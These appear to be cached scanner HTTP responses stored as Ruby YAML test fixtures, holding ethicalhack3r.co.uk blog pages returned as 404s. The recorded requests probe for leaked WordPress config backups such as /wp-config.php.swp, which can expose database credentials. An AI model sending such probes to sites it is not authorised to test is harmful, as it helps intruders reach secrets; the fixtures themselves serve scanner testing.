<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
|
||||
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.</p>\n\
|
||||
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
|
||||
<p>The X-Frame-Options header may have three different values:</p>\n\
|
||||
<p><strong>DENY</strong> – No pages are allowed to be loaded.<br/>\n\
|
||||
<strong>SAMEORIGIN</strong> – Only pages from the same domain are allowed to be loaded.<br/>\n\
|
||||
<strong>Allow-From http://www.example.com</strong> – Only allow frames from www.example.com.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
|
||||
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.</p>\n\
|
||||
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
|
||||
<p>I am tired of receiving multiple telemarketing calls per day, I’m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
|
||||
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
|
||||
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
|
||||
<p>You can help by signing the petition here;<br/>\n\
|
||||
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"morePrev\">\n\
|
||||
<span id=\"prev\"></span>\n\
|
||||
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.php.swp/page/2/\">Next Page »</a></span>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n\
|
||||
</div>\n \n\
|
||||
<ul id=\"sidebar\">\n\
|
||||
<li class=\"sidebarItem\" id=\"search\">\n\
|
||||
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
|
||||
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
|
||||
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
|
||||
</form> </li> \n\
|
||||
<div class=\"topLine\"></div>\n\
|
||||
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
|
||||
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
|
||||
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
|
||||
<ul>\n\
|
||||
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
|
||||
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress ‘In the Wild’ and WPScan Update</a></li></ul></li>\n\
|
||||
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
|
||||
<ul>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
|
||||
<ul class='xoxo blogroll'>\n\
|
||||
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
|
||||
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
|
||||
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
|
||||
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
|
||||
<br/>\n\
|
||||
<br/>\n\
|
||||
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
|
||||
</div></div>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&fg=000000&anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
|
||||
</li>\n\
|
||||
</ul>\n </div>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
<div id=\"footer\">\n\
|
||||
<div class=\"copyright\">Copyright © 2008-2012 Ryan Dewhurst</div>\n\
|
||||
</div>\n \n\
|
||||
</div>\n \n\
|
||||
</body>\n\
|
||||
</html>"
|
||||
code: 404
|
||||
connect_time: 3.0e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/wp-config.php.swp
|
||||
headers: |
|
||||
HTTP/1.1 404 Not Found
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:32 GMT
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Set-Cookie: session=s0575rmg11ak75rglmjuf3uj7ma9blf4; path=/; HttpOnly
|
||||
Expires: Wed, 11 Jan 1984 05:00:00 GMT
|
||||
Cache-Control: no-cache, must-revalidate, max-age=0
|
||||
Pragma: no-cache
|
||||
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
|
||||
Last-Modified: Mon, 09 Jul 2012 08:15:32 GMT
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=d649076e121afd4eeb1a938d6c91caefb1341821731; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=d649076e121afd4eeb1a938d6c91caefb1341821731; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=d649076e121afd4eeb1a938d6c91caefb1341821731; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 2.9e-05
|
||||
pretransfer_time: 2.8e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete: !ruby/object:Proc {}
|
||||
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /wp-config.php.swp
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/wp-config.php.swp
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 0.737602
|
||||
status_message:
|
||||
time: 0.834884
|
||||
310
cache/browser/74f38439d29d49d87ef6e32899a38fd783cc5054
vendored
Normal file
310
cache/browser/74f38439d29d49d87ef6e32899a38fd783cc5054
vendored
Normal file
@@ -0,0 +1,310 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 3.1e-05
|
||||
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
|
||||
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
|
||||
<head>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<title>Nothing found for Wp-config Bak</title>\n\
|
||||
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
|
||||
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
|
||||
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
|
||||
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
|
||||
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
|
||||
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
|
||||
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
|
||||
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
|
||||
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
|
||||
</head>\n\
|
||||
<body><script type=\"text/javascript\">\n\
|
||||
//<![CDATA[\n\
|
||||
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
|
||||
//]]>\n\
|
||||
</script>\n\
|
||||
<noscript>\n\
|
||||
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
|
||||
</noscript>\n\
|
||||
<script type=\"text/javascript\">\r\n\
|
||||
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
|
||||
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
|
||||
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
|
||||
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
|
||||
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
|
||||
\r\n\
|
||||
</script>\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<div id=\"wrap\">\n\
|
||||
<div id=\"header\">\n\
|
||||
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
|
||||
<ul id=\"menu\">\n\
|
||||
<li id=\"home\" class=\"current_page_item\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
|
||||
<div class=\"menuLine\">\n\
|
||||
01\n\
|
||||
</div> \n\
|
||||
</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
|
||||
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
|
||||
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
|
||||
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
|
||||
<li id=\"rss\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"main\">\n\
|
||||
<div id=\"primary\">\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<h2>Recent</h2>\n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug – PHP Static Code Analysis</a></h2>\n\
|
||||
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
|
||||
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
|
||||
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
|
||||
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
|
||||
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.</p>\n\
|
||||
<p><strong>Legion by Rhino9</strong></p>\n\
|
||||
<p>Use: Windows Null Session share scanner.<br/>\n\
|
||||
Released: 1999<br/>\n\
|
||||
Platform: Windows<br/>\n\
|
||||
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&seqNum=5</a><br/>\n\
|
||||
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
|
||||
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
|
||||
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.</p>\n\
|
||||
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
|
||||
<p>The X-Frame-Options header may have three different values:</p>\n\
|
||||
<p><strong>DENY</strong> – No pages are allowed to be loaded.<br/>\n\
|
||||
<strong>SAMEORIGIN</strong> – Only pages from the same domain are allowed to be loaded.<br/>\n\
|
||||
<strong>Allow-From http://www.example.com</strong> – Only allow frames from www.example.com.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more…</a></p>\n\
|
||||
